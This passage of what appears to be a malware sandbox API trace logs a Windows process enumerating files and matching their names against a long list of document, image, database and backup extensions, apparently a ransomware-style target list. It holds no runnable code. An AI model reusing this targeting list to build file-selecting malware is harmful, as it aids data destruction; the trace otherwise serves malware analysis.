returned 6 [0261.655] lstrcmpiW (lpString1=".accdw", lpString2="api.js") returned -1 [0261.655] lstrlenW (lpString=".adb") returned 4 [0261.655] lstrcmpiW (lpString1=".adb", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".adp") returned 4 [0261.655] lstrcmpiW (lpString1=".adp", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".ai") returned 3 [0261.655] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.655] lstrlenW (lpString=".ai3") returned 4 [0261.655] lstrcmpiW (lpString1=".ai3", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".ai4") returned 4 [0261.655] lstrcmpiW (lpString1=".ai4", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".ai5") returned 4 [0261.655] lstrcmpiW (lpString1=".ai5", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".ai6") returned 4 [0261.655] lstrcmpiW (lpString1=".ai6", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".ai7") returned 4 [0261.656] lstrcmpiW (lpString1=".ai7", lpString2="i.js") returned -1 [0261.656] lstrlenW (lpString=".ai8") returned 4 [0261.656] lstrcmpiW (lpString1=".ai8", lpString2="i.js") returned -1 [0261.656] lstrlenW (lpString=".anim") returned 5 [0261.656] lstrcmpiW (lpString1=".anim", lpString2="pi.js") returned -1 [0261.656] lstrlenW (lpString=".arw") returned 4 [0261.656] lstrcmpiW (lpString1=".arw", lpString2="i.js") returned -1 [0261.656] lstrlenW (lpString=".as") returned 3 [0261.656] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.656] lstrlenW (lpString=".asa") returned 4 [0261.656] lstrcmpiW (lpString1=".asa", lpString2="i.js") returned -1 [0261.656] lstrlenW (lpString=".asc") returned 4 [0261.656] lstrcmpiW (lpString1=".asc", lpString2="i.js") returned -1 [0261.656] lstrlenW (lpString=".ascx") returned 5 [0261.656] lstrcmpiW (lpString1=".ascx", lpString2="pi.js") returned -1 [0261.656] lstrlenW (lpString=".asm") returned 4 [0261.656] lstrcmpiW (lpString1=".asm", lpString2="i.js") returned -1 [0261.656] lstrlenW (lpString=".asmx") returned 5 [0261.656] lstrcmpiW (lpString1=".asmx", lpString2="pi.js") returned -1 [0261.656] lstrlenW (lpString=".asp") returned 4 [0261.657] lstrcmpiW (lpString1=".asp", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".aspx") returned 5 [0261.657] lstrcmpiW (lpString1=".aspx", lpString2="pi.js") returned -1 [0261.657] lstrlenW (lpString=".asr") returned 4 [0261.657] lstrcmpiW (lpString1=".asr", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".asx") returned 4 [0261.657] lstrcmpiW (lpString1=".asx", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".avi") returned 4 [0261.657] lstrcmpiW (lpString1=".avi", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".avs") returned 4 [0261.657] lstrcmpiW (lpString1=".avs", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".backup") returned 7 [0261.657] lstrcmpiW (lpString1=".backup", lpString2="-api.js") returned -1 [0261.657] lstrlenW (lpString=".bak") returned 4 [0261.657] lstrcmpiW (lpString1=".bak", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".bay") returned 4 [0261.657] lstrcmpiW (lpString1=".bay", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".bd") returned 3 [0261.657] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.657] lstrlenW (lpString=".bin") returned 4 [0261.657] lstrcmpiW (lpString1=".bin", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".bmp") returned 4 [0261.657] lstrcmpiW (lpString1=".bmp", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".bz2") returned 4 [0261.657] lstrcmpiW (lpString1=".bz2", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".c") returned 2 [0261.657] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.657] lstrlenW (lpString=".cdr") returned 4 [0261.657] lstrcmpiW (lpString1=".cdr", lpString2="i.js") returned -1 [0261.657] lstrlenW (lpString=".cer") returned 4 [0261.658] lstrcmpiW (lpString1=".cer", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".cf") returned 3 [0261.658] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.658] lstrlenW (lpString=".cfc") returned 4 [0261.658] lstrcmpiW (lpString1=".cfc", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".cfm") returned 4 [0261.658] lstrcmpiW (lpString1=".cfm", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".cfml") returned 5 [0261.658] lstrcmpiW (lpString1=".cfml", lpString2="pi.js") returned -1 [0261.658] lstrlenW (lpString=".cfu") returned 4 [0261.658] lstrcmpiW (lpString1=".cfu", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".chm") returned 4 [0261.658] lstrcmpiW (lpString1=".chm", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".cin") returned 4 [0261.658] lstrcmpiW (lpString1=".cin", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".class") returned 6 [0261.658] lstrcmpiW (lpString1=".class", lpString2="api.js") returned -1 [0261.658] lstrlenW (lpString=".clx") returned 4 [0261.658] lstrcmpiW (lpString1=".clx", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".config") returned 7 [0261.658] lstrcmpiW (lpString1=".config", lpString2="-api.js") returned -1 [0261.658] lstrlenW (lpString=".cpp") returned 4 [0261.658] lstrcmpiW (lpString1=".cpp", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".cr2") returned 4 [0261.658] lstrcmpiW (lpString1=".cr2", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".crt") returned 4 [0261.658] lstrcmpiW (lpString1=".crt", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".crw") returned 4 [0261.658] lstrcmpiW (lpString1=".crw", lpString2="i.js") returned -1 [0261.658] lstrlenW (lpString=".cs") returned 3 [0261.658] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.659] lstrlenW (lpString=".css") returned 4 [0261.659] lstrcmpiW (lpString1=".css", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".csv") returned 4 [0261.659] lstrcmpiW (lpString1=".csv", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".cub") returned 4 [0261.659] lstrcmpiW (lpString1=".cub", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dae") returned 4 [0261.659] lstrcmpiW (lpString1=".dae", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dat") returned 4 [0261.659] lstrcmpiW (lpString1=".dat", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".db") returned 3 [0261.659] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.659] lstrlenW (lpString=".dbf") returned 4 [0261.659] lstrcmpiW (lpString1=".dbf", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dbx") returned 4 [0261.659] lstrcmpiW (lpString1=".dbx", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dc3") returned 4 [0261.659] lstrcmpiW (lpString1=".dc3", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dcm") returned 4 [0261.659] lstrcmpiW (lpString1=".dcm", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dcr") returned 4 [0261.659] lstrcmpiW (lpString1=".dcr", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".der") returned 4 [0261.659] lstrcmpiW (lpString1=".der", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dib") returned 4 [0261.659] lstrcmpiW (lpString1=".dib", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dic") returned 4 [0261.659] lstrcmpiW (lpString1=".dic", lpString2="i.js") returned -1 [0261.659] lstrlenW (lpString=".dif") returned 4 [0261.659] lstrcmpiW (lpString1=".dif", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".divx") returned 5 [0261.660] lstrcmpiW (lpString1=".divx", lpString2="pi.js") returned -1 [0261.660] lstrlenW (lpString=".djvu") returned 5 [0261.660] lstrcmpiW (lpString1=".djvu", lpString2="pi.js") returned -1 [0261.660] lstrlenW (lpString=".dng") returned 4 [0261.660] lstrcmpiW (lpString1=".dng", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".doc") returned 4 [0261.660] lstrcmpiW (lpString1=".doc", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".docm") returned 5 [0261.660] lstrcmpiW (lpString1=".docm", lpString2="pi.js") returned -1 [0261.660] lstrlenW (lpString=".docx") returned 5 [0261.660] lstrcmpiW (lpString1=".docx", lpString2="pi.js") returned -1 [0261.660] lstrlenW (lpString=".dot") returned 4 [0261.660] lstrcmpiW (lpString1=".dot", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".dotm") returned 5 [0261.660] lstrcmpiW (lpString1=".dotm", lpString2="pi.js") returned -1 [0261.660] lstrlenW (lpString=".dotx") returned 5 [0261.660] lstrcmpiW (lpString1=".dotx", lpString2="pi.js") returned -1 [0261.660] lstrlenW (lpString=".dpx") returned 4 [0261.660] lstrcmpiW (lpString1=".dpx", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".dqy") returned 4 [0261.660] lstrcmpiW (lpString1=".dqy", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".dsn") returned 4 [0261.660] lstrcmpiW (lpString1=".dsn", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".dt") returned 3 [0261.660] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.660] lstrlenW (lpString=".dtd") returned 4 [0261.660] lstrcmpiW (lpString1=".dtd", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".dwg") returned 4 [0261.660] lstrcmpiW (lpString1=".dwg", lpString2="i.js") returned -1 [0261.660] lstrlenW (lpString=".dwt") returned 4 [0261.660] lstrcmpiW (lpString1=".dwt", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".dx") returned 3 [0261.661] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.661] lstrlenW (lpString=".dxf") returned 4 [0261.661] lstrcmpiW (lpString1=".dxf", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".edml") returned 5 [0261.661] lstrcmpiW (lpString1=".edml", lpString2="pi.js") returned -1 [0261.661] lstrlenW (lpString=".efd") returned 4 [0261.661] lstrcmpiW (lpString1=".efd", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".elf") returned 4 [0261.661] lstrcmpiW (lpString1=".elf", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".emf") returned 4 [0261.661] lstrcmpiW (lpString1=".emf", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".emz") returned 4 [0261.661] lstrcmpiW (lpString1=".emz", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".epf") returned 4 [0261.661] lstrcmpiW (lpString1=".epf", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".eps") returned 4 [0261.661] lstrcmpiW (lpString1=".eps", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".epsf") returned 5 [0261.661] lstrcmpiW (lpString1=".epsf", lpString2="pi.js") returned -1 [0261.661] lstrlenW (lpString=".epsp") returned 5 [0261.661] lstrcmpiW (lpString1=".epsp", lpString2="pi.js") returned -1 [0261.661] lstrlenW (lpString=".erf") returned 4 [0261.661] lstrcmpiW (lpString1=".erf", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".exr") returned 4 [0261.661] lstrcmpiW (lpString1=".exr", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".f4v") returned 4 [0261.661] lstrcmpiW (lpString1=".f4v", lpString2="i.js") returned -1 [0261.661] lstrlenW (lpString=".fido") returned 5 [0261.661] lstrcmpiW (lpString1=".fido", lpString2="pi.js") returned -1 [0261.662] lstrlenW (lpString=".flm") returned 4 [0261.662] lstrcmpiW (lpString1=".flm", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".flv") returned 4 [0261.662] lstrcmpiW (lpString1=".flv", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".frm") returned 4 [0261.662] lstrcmpiW (lpString1=".frm", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".fxg") returned 4 [0261.662] lstrcmpiW (lpString1=".fxg", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".geo") returned 4 [0261.662] lstrcmpiW (lpString1=".geo", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".gif") returned 4 [0261.662] lstrcmpiW (lpString1=".gif", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".grs") returned 4 [0261.662] lstrcmpiW (lpString1=".grs", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".gz") returned 3 [0261.662] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.662] lstrlenW (lpString=".h") returned 2 [0261.662] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.662] lstrlenW (lpString=".hdr") returned 4 [0261.662] lstrcmpiW (lpString1=".hdr", lpString2="i.js") returned -1 [0261.662] lstrlenW (lpString=".hpp") returned 4 [0261.662] lstrcmpiW (lpString1=".hpp", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".hta") returned 4 [0261.663] lstrcmpiW (lpString1=".hta", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".htc") returned 4 [0261.663] lstrcmpiW (lpString1=".htc", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".htm") returned 4 [0261.663] lstrcmpiW (lpString1=".htm", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".html") returned 5 [0261.663] lstrcmpiW (lpString1=".html", lpString2="pi.js") returned -1 [0261.663] lstrlenW (lpString=".icb") returned 4 [0261.663] lstrcmpiW (lpString1=".icb", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".ics") returned 4 [0261.663] lstrcmpiW (lpString1=".ics", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".iff") returned 4 [0261.663] lstrcmpiW (lpString1=".iff", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".inc") returned 4 [0261.663] lstrcmpiW (lpString1=".inc", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".indd") returned 5 [0261.663] lstrcmpiW (lpString1=".indd", lpString2="pi.js") returned -1 [0261.663] lstrlenW (lpString=".ini") returned 4 [0261.663] lstrcmpiW (lpString1=".ini", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".iqy") returned 4 [0261.663] lstrcmpiW (lpString1=".iqy", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".j2c") returned 4 [0261.663] lstrcmpiW (lpString1=".j2c", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".j2k") returned 4 [0261.663] lstrcmpiW (lpString1=".j2k", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".java") returned 5 [0261.663] lstrcmpiW (lpString1=".java", lpString2="pi.js") returned -1 [0261.663] lstrlenW (lpString=".jp2") returned 4 [0261.663] lstrcmpiW (lpString1=".jp2", lpString2="i.js") returned -1 [0261.663] lstrlenW (lpString=".jpc") returned 4 [0261.663] lstrcmpiW (lpString1=".jpc", lpString2="i.js") returned -1 [0261.664] lstrlenW (lpString=".jpe") returned 4 [0261.664] lstrcmpiW (lpString1=".jpe", lpString2="i.js") returned -1 [0261.664] lstrlenW (lpString=".jpeg") returned 5 [0261.664] lstrcmpiW (lpString1=".jpeg", lpString2="pi.js") returned -1 [0261.664] lstrlenW (lpString=".jpf") returned 4 [0261.664] lstrcmpiW (lpString1=".jpf", lpString2="i.js") returned -1 [0261.664] lstrlenW (lpString=".jpg") returned 4 [0261.664] lstrcmpiW (lpString1=".jpg", lpString2="i.js") returned -1 [0261.664] lstrlenW (lpString=".jpx") returned 4 [0261.664] lstrcmpiW (lpString1=".jpx", lpString2="i.js") returned -1 [0261.664] lstrlenW (lpString=".js") returned 3 [0261.664] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.664] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 0 [0261.664] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0261.664] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.664] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0261.664] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0261.664] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0261.665] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0261.665] lstrlenW (lpString="config.js") returned 9 [0261.665] lstrlenW (lpString=".1cd") returned 4 [0261.665] lstrcmpiW (lpString1=".1cd", lpString2="g.js") returned -1 [0261.665] lstrlenW (lpString=".3ds") returned 4 [0261.665] lstrcmpiW (lpString1=".3ds", lpString2="g.js") returned -1 [0261.665] lstrlenW (lpString=".3fr") returned 4 [0261.665] lstrcmpiW (lpString1=".3fr", lpString2="g.js") returned -1 [0261.665] lstrlenW (lpString=".3g2") returned 4 [0261.665] lstrcmpiW (lpString1=".3g2", lpString2="g.js") returned -1 [0261.665] lstrlenW (lpString=".3gp") returned 4 [0261.665] lstrcmpiW (lpString1=".3gp", lpString2="g.js") returned -1 [0261.665] lstrlenW (lpString=".7z") returned 3 [0261.665] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.665] lstrlenW (lpString=".accda") returned 6 [0261.665] lstrcmpiW (lpString1=".accda", lpString2="fig.js") returned -1 [0261.665] lstrlenW (lpString=".accdb") returned 6 [0261.665] lstrcmpiW (lpString1=".accdb", lpString2="fig.js") returned -1 [0261.665] lstrlenW (lpString=".accdc") returned 6 [0261.665] lstrcmpiW (lpString1=".accdc", lpString2="fig.js") returned -1 [0261.665] lstrlenW (lpString=".accde") returned 6 [0261.665] lstrcmpiW (lpString1=".accde", lpString2="fig.js") returned -1 [0261.665] lstrlenW (lpString=".accdt") returned 6 [0261.665] lstrcmpiW (lpString1=".accdt", lpString2="fig.js") returned -1 [0261.665] lstrlenW (lpString=".accdw") returned 6 [0261.665] lstrcmpiW (lpString1=".accdw", lpString2="fig.js") returned -1 [0261.665] lstrlenW (lpString=".adb") returned 4 [0261.665] lstrcmpiW (lpString1=".adb", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".adp") returned 4 [0261.666] lstrcmpiW (lpString1=".adp", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ai") returned 3 [0261.666] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.666] lstrlenW (lpString=".ai3") returned 4 [0261.666] lstrcmpiW (lpString1=".ai3", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ai4") returned 4 [0261.666] lstrcmpiW (lpString1=".ai4", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ai5") returned 4 [0261.666] lstrcmpiW (lpString1=".ai5", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ai6") returned 4 [0261.666] lstrcmpiW (lpString1=".ai6", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ai7") returned 4 [0261.666] lstrcmpiW (lpString1=".ai7", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ai8") returned 4 [0261.666] lstrcmpiW (lpString1=".ai8", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".anim") returned 5 [0261.666] lstrcmpiW (lpString1=".anim", lpString2="ig.js") returned -1 [0261.666] lstrlenW (lpString=".arw") returned 4 [0261.666] lstrcmpiW (lpString1=".arw", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".as") returned 3 [0261.666] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.666] lstrlenW (lpString=".asa") returned 4 [0261.666] lstrcmpiW (lpString1=".asa", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".asc") returned 4 [0261.666] lstrcmpiW (lpString1=".asc", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".ascx") returned 5 [0261.666] lstrcmpiW (lpString1=".ascx", lpString2="ig.js") returned -1 [0261.666] lstrlenW (lpString=".asm") returned 4 [0261.666] lstrcmpiW (lpString1=".asm", lpString2="g.js") returned -1 [0261.666] lstrlenW (lpString=".asmx") returned 5 [0261.666] lstrcmpiW (lpString1=".asmx", lpString2="ig.js") returned -1 [0261.666] lstrlenW (lpString=".asp") returned 4 [0261.667] lstrcmpiW (lpString1=".asp", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".aspx") returned 5 [0261.667] lstrcmpiW (lpString1=".aspx", lpString2="ig.js") returned -1 [0261.667] lstrlenW (lpString=".asr") returned 4 [0261.667] lstrcmpiW (lpString1=".asr", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".asx") returned 4 [0261.667] lstrcmpiW (lpString1=".asx", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".avi") returned 4 [0261.667] lstrcmpiW (lpString1=".avi", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".avs") returned 4 [0261.667] lstrcmpiW (lpString1=".avs", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".backup") returned 7 [0261.667] lstrcmpiW (lpString1=".backup", lpString2="nfig.js") returned -1 [0261.667] lstrlenW (lpString=".bak") returned 4 [0261.667] lstrcmpiW (lpString1=".bak", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".bay") returned 4 [0261.667] lstrcmpiW (lpString1=".bay", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".bd") returned 3 [0261.667] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.667] lstrlenW (lpString=".bin") returned 4 [0261.667] lstrcmpiW (lpString1=".bin", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".bmp") returned 4 [0261.667] lstrcmpiW (lpString1=".bmp", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".bz2") returned 4 [0261.667] lstrcmpiW (lpString1=".bz2", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".c") returned 2 [0261.667] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.667] lstrlenW (lpString=".cdr") returned 4 [0261.667] lstrcmpiW (lpString1=".cdr", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".cer") returned 4 [0261.667] lstrcmpiW (lpString1=".cer", lpString2="g.js") returned -1 [0261.667] lstrlenW (lpString=".cf") returned 3 [0261.667] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.667] lstrlenW (lpString=".cfc") returned 4 [0261.667] lstrcmpiW (lpString1=".cfc", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".cfm") returned 4 [0261.668] lstrcmpiW (lpString1=".cfm", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".cfml") returned 5 [0261.668] lstrcmpiW (lpString1=".cfml", lpString2="ig.js") returned -1 [0261.668] lstrlenW (lpString=".cfu") returned 4 [0261.668] lstrcmpiW (lpString1=".cfu", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".chm") returned 4 [0261.668] lstrcmpiW (lpString1=".chm", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".cin") returned 4 [0261.668] lstrcmpiW (lpString1=".cin", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".class") returned 6 [0261.668] lstrcmpiW (lpString1=".class", lpString2="fig.js") returned -1 [0261.668] lstrlenW (lpString=".clx") returned 4 [0261.668] lstrcmpiW (lpString1=".clx", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".config") returned 7 [0261.668] lstrcmpiW (lpString1=".config", lpString2="nfig.js") returned -1 [0261.668] lstrlenW (lpString=".cpp") returned 4 [0261.668] lstrcmpiW (lpString1=".cpp", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".cr2") returned 4 [0261.668] lstrcmpiW (lpString1=".cr2", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".crt") returned 4 [0261.668] lstrcmpiW (lpString1=".crt", lpString2="g.js") returned -1 [0261.668] lstrlenW (lpString=".crw") returned 4 [0261.668] lstrcmpiW (lpString1=".crw", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".cs") returned 3 [0261.669] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.669] lstrlenW (lpString=".css") returned 4 [0261.669] lstrcmpiW (lpString1=".css", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".csv") returned 4 [0261.669] lstrcmpiW (lpString1=".csv", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".cub") returned 4 [0261.669] lstrcmpiW (lpString1=".cub", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dae") returned 4 [0261.669] lstrcmpiW (lpString1=".dae", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dat") returned 4 [0261.669] lstrcmpiW (lpString1=".dat", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".db") returned 3 [0261.669] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.669] lstrlenW (lpString=".dbf") returned 4 [0261.669] lstrcmpiW (lpString1=".dbf", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dbx") returned 4 [0261.669] lstrcmpiW (lpString1=".dbx", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dc3") returned 4 [0261.669] lstrcmpiW (lpString1=".dc3", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dcm") returned 4 [0261.669] lstrcmpiW (lpString1=".dcm", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dcr") returned 4 [0261.669] lstrcmpiW (lpString1=".dcr", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".der") returned 4 [0261.669] lstrcmpiW (lpString1=".der", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dib") returned 4 [0261.669] lstrcmpiW (lpString1=".dib", lpString2="g.js") returned -1 [0261.669] lstrlenW (lpString=".dic") returned 4 [0261.670] lstrcmpiW (lpString1=".dic", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".dif") returned 4 [0261.670] lstrcmpiW (lpString1=".dif", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".divx") returned 5 [0261.670] lstrcmpiW (lpString1=".divx", lpString2="ig.js") returned -1 [0261.670] lstrlenW (lpString=".djvu") returned 5 [0261.670] lstrcmpiW (lpString1=".djvu", lpString2="ig.js") returned -1 [0261.670] lstrlenW (lpString=".dng") returned 4 [0261.670] lstrcmpiW (lpString1=".dng", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".doc") returned 4 [0261.670] lstrcmpiW (lpString1=".doc", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".docm") returned 5 [0261.670] lstrcmpiW (lpString1=".docm", lpString2="ig.js") returned -1 [0261.670] lstrlenW (lpString=".docx") returned 5 [0261.670] lstrcmpiW (lpString1=".docx", lpString2="ig.js") returned -1 [0261.670] lstrlenW (lpString=".dot") returned 4 [0261.670] lstrcmpiW (lpString1=".dot", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".dotm") returned 5 [0261.670] lstrcmpiW (lpString1=".dotm", lpString2="ig.js") returned -1 [0261.670] lstrlenW (lpString=".dotx") returned 5 [0261.670] lstrcmpiW (lpString1=".dotx", lpString2="ig.js") returned -1 [0261.670] lstrlenW (lpString=".dpx") returned 4 [0261.670] lstrcmpiW (lpString1=".dpx", lpString2="g.js") returned -1 [0261.670] lstrlenW (lpString=".dqy") returned 4 [0261.670] lstrcmpiW 